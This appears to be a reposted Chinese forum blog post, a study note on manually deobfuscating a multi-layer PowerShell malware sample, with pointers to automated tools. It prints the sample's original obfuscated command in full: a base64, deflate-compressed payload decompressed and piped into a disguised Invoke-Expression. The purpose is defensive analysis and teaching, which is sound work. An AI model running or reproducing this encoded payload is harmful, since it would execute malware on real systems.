powershell脚本编写_病毒分析学习笔记:powershell反混淆

126423487be57a4290707c57a3736367.png

本文为看雪论坛精华文章

看雪论坛作者ID:OK繃

目录 一、前言 二、自动化反混淆               混淆原理               自动化反混淆工具 三、手动反混淆 四、总结 一、前言

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。

Windows PowerShell v3将伴随着Microsoft Hyper-V 3.0和Windows Server 2012发布。PowerShell v3是一个Windows任务自动化的框架,它由一个命令行shell和内置在这个.NET框架上的编程语言组成。

PowerShell v3采用新的cmdlet让管理员能够更深入到系统进程中,这些进程可以制作成可执行的文件或脚本(script)。一条cmdlet是一条轻量命令,Windows PowerShell运行时间在自动化脚本的环境里调用它。

目前在流行的病毒里,还有许多使用了powershell。office宏病毒通过宏代码调用powershell执行恶意行为、powershell无文件挖矿等。

特别是无文件挖矿的反射型注入,被许多人称为老掉牙的技术了,但是在9102年了还有许多用户中招。分析这类powershell病毒时,无法避免的是面对一堆乱码——经混淆的powershell代码。一些经过高度混淆的代码,简直可以称为“非人般的操作”了。

二、自动化反混淆

>>>>

混淆原理

网上帖子太多了,可以参考下看雪论坛用户发的翻译贴:https://bbs.pediy.com/thread-248034.htm

>>>>

自动化反混淆工具

目前搜了搜,网上能自动反混淆的工具

Unit42安全团队编写的PowerShellProfiler.py:

github地址:https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler

用法及原理参考:https://www.freebuf.com/sectool/219057.html

在线解码工具CyberChef:https://gchq.github.io/CyberChef/

使用方法参考:https://www.secpulse.com/archives/109912.html

以上两款工具试着使用了下,一些简单的混淆能够解开,但是一些经过好几层的混淆代码就不太好使了。

三、手动反混淆

上次遇到了一个混淆次数较多,对我来说算得上是“高度混淆”样本,记录一下我的手动反混淆过程。

原混淆代码:

"\"(neW-OBjEcT sySTeM.Io.cOMprEsSIon.deFLaTesTREAm([SYStem.io.mEMorYSTREAM][SYSteM.coNvERT]::fRombaSE64STRing('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') "\" + ([CHAr]44).ToStRInG() + "\" [SYSTeM.IO.CoMPRESsiON.cOMpreSSIonMOde]::DeComPrEss )|% {neW-OBjEcT SYsTeM.iO.streamreadER( `$_"\" + ([CHAr]44).ToStRInG() + "\"[sYstem.TeXt.EncodING]::utf8 )}| % {`$_.rEAdTOEnD( )})| . ( `$pSHome[4]+`$PshOmE[34]+'X')"\" |.( $shEllID[1]+$shelliD[13]+'x')"

7310c229b9f10e3dfbe5166c58ee703b.png

powershell脚本的语言特性,混淆代码在执行时,最终都会被还原为本身的代码。

在这个样本中:

|.( $shEllID[1]+$shelliD[13]+'x')和|.( $pSHome[4]+$PshOmE[34]+'X') == “IEX”命令

通过PowerShell的write-output命令来替换掉IEX或. ((gV 'Mdr').NaMe[3,11,2]-JoIN'')等混淆语句。

“\”符号共有6个,需要成对操作"\" + ([CHAr]44).ToStRInG() + "\" == “,”。

>>>>

第一层

先把IEX的变形命令以及“\”符号直接删掉,并转储为.ps1文件,解出来的1.ps1文件。

9f0664d87b3c8094df77f5ac4da26b97.png

204acda61eb8e9e11b5cd249ae817bb6.png

>>>>

第二层

再次发现IEX的变形命令:| .( $EnV:cOmSPeC[4,24,25]-jOIn'')

以及两个不可识别命令:MnB、ms

该代码已fc为界可分为两部分

第一部分:

直接删除| .( $EnV:cOmSPeC[4,24,25]-jOIn'')命令并转储为2.ps1文件

仍然可见IEX命令

inVokE-EXPReSSioN == IEX

87435d2524d11d3e41fa308b7116d620.png

继续删除并转储为3.ps1。

4f01758c5d9b88817c0f01d7452fafda.png

sal是powershell取别名的函数,就是把rundll32取别名为Qqa。

第二部分:

由第一部分可知在第二部分中的ms、MnB代表IEX和new-object了,在代码中进行替换,并转储为4.ps1:

bbc92a8b48dfc5addd9e0b1a639999cf.png

>>>>

第三层

解码后仍然可见ms指令,删除并转储为5.ps1:

89388155d488cb4032a8586ec394dd23.png

>>>>

第四层

由第三层解出来的可见function h`e(),可先在powershell中定义一下该函数,并删除末尾的ms指令继续转储为6.ps1。

9f3bb5ebeb86d9f83f0b69c76bfcf51f.png

>>>>

第五层

由上层解出来的可见HE()函数,之前在powershell里定义了该函数,可以直接删除ms并转储一下为7.ps1。

ff3144fbef64012dfec990651707e7e3.png

现在解出来的代码勉强可读,需要自己整理一下。看的不清楚的可以自己在powershell中执行一下会更加直观。

四、总结

powershell解混淆其实并不太难,只是刚接触的时候会不太明白,无从入手。而且比较费眼神,“()”等成对出现的符号都要一一配对,否则就会出错。

并且对于通常常用的混淆方法:

b6c459a0854d4b870b691072256342be.png

我们可以直接在powershell里逐条运行,powershell就会反馈给我们它本身的样子。

最后还有大佬们还有什么好的powershell反混淆的方法或者工具吗?这手工反混淆太需要耐心、太费眼睛了。

7fa260dac2f8777cca6ababb85dd3cc8.gif - End - 7310b3bee3656a2483f2543df6499c2d.png

看雪ID:OK繃

https://bbs.pediy.com/user-832445.htm 

*本文由看雪论坛  OK繃  原创,转载请注明来自看雪社区

推荐文章++++

b9112fe135ffd649063797783373b7cc.png

* 实战栈溢出漏洞

* 栈溢出原理和利用

* 堆栈别乱用

* 栈溢出漏洞--GS和DEP

* CVE-2019-0708 bluekeep 漏洞研究分析详细完整版

好书推荐 7d06f7b768eb982fd4058a9206382a70.png ﹀ ﹀ ﹀ ae40f9c473bd431014ea71e1940e7d8b.png 公众号ID:ikanxue 官方微博:看雪安全 商务合作:wsc@kanxue.com e920e2885b3e964f7790ca78fb84384c.gif
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值